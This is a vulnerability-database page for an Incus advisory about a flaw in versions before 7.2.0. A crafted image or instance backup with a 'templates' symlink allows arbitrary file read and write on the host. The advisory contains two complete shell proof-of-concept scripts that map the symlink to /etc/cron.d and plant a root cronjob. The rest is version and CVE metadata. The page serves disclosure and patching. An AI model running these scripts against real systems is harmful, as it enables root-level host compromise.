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Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.
Read the publisher's advisoryIncus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.
Read the publisher's advisoryIncus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.
Read the publisher's advisory### Summary A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink. For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink. In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it. ### PoC #### Malicious container image Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink incus config template ls afrw-image-templates-symlink # read #incus config template show afrw-image-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ``` #### Malicious instance backup Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/backup" cat<<__EOF__>"${tmpdir}/img/backup/index.yaml" name: afrw-backup-templates-symlink backend: dir pool: default type: container optimized: false __EOF__ mkdir "${tmpdir}/img/backup/container" cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml" container: name: afrw-backup-templates-symlink architecture: x86_64 type: container status: Stopped status_code: 102 stateful: false ephemeral: false profiles: - default config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 expanded_config: volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49 devices: {} expanded_devices: root: path: / pool: default type: disk created_at: "2024-01-01T00:00:00Z" last_used_at: "2024-01-01T00:00:00Z" volume: name: afrw-backup-templates-symlink type: container content_type: filesystem config: {} pool: name: default driver: dir config: {} __EOF__ cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: afrw-backup-templates-symlink __EOF__ mkdir "${tmpdir}/img/backup/container/rootfs" ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates" cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink incus config template ls afrw-backup-templates-symlink # read #incus config template show afrw-backup-templates-symlink $FILENAME # write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32 #incus config template edit afrw-templates-symlink poc ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Read the publisher's advisoryIncus has arbitrary file read+write on host via templates/ symlink in malicious image in github.com/lxc/incus
Read the publisher's advisoryVendor product
Shown as published. These rules are not interpreted as NuGet package version ranges.
{
"vendor": "lxc",
"product": "incus",
"versions": [
{
"version": "< 7.2.0",
"status": "affected"
}
]
}Vendor product
Shown as published. These rules are not interpreted as NuGet package version ranges.
{
"vendor": "canonical",
"product": "lxd",
"versions": [
{
"version": ">= 4.0.0, < 4.0.11",
"status": "affected"
},
{
"version": ">= 5.0.0, < 5.0.7",
"status": "affected"
},
{
"version": ">= 5.1.0, < 5.21.5",
"status": "affected"
},
{
"version": ">= 6.0.0, < 6.9.0",
"status": "affected"
}
]
}Original source record · Cite this exact observation · Complete original publisher JSON
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
datePublished: Aug 21, 2026, 2:31:57 PM
dateUpdated: Nov 5, 2026, 11:18:42 PM
openSUSE-SU-2026:11651-1: incus-7.4-1.1 on GA media
CVE-2026-39402 · CVE-2026-47753 · CVE-2026-48749 · CVE-2026-48750 · CVE-2026-48751 · CVE-2026-48752 · CVE-2026-48753 · CVE-2026-48754 · CVE-2026-48755 · CVE-2026-48756 · CVE-2026-48769 · CVE-2026-55621 · CVE-2026-55622 · CVE-2026-62313 · CVE-2026-62867 · CVE-2026-62940 · CVE-2026-62941 · CVE-2026-63125 · CVE-2026-63343 · CVE-2026-81500 · CVE-2026-81501
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
Original source record · Cite this exact observation · Complete original publisher JSON
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-73
published: 2026-08-21T15:16:40.667
lastModified: 2026-11-06T01:17:49.623
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
Original source record · Cite this exact observation · Complete original publisher JSON
Go
SEMVER · introduced 0 → fixed 7.2.0
Original source record · Cite this exact observation · Complete original publisher JSON
Go
SEMVER · introduced 0
Go
SEMVER · introduced 0
Go
SEMVER · introduced 0 → fixed 7.2.0
Original source record · Cite this exact observation · Complete original publisher JSON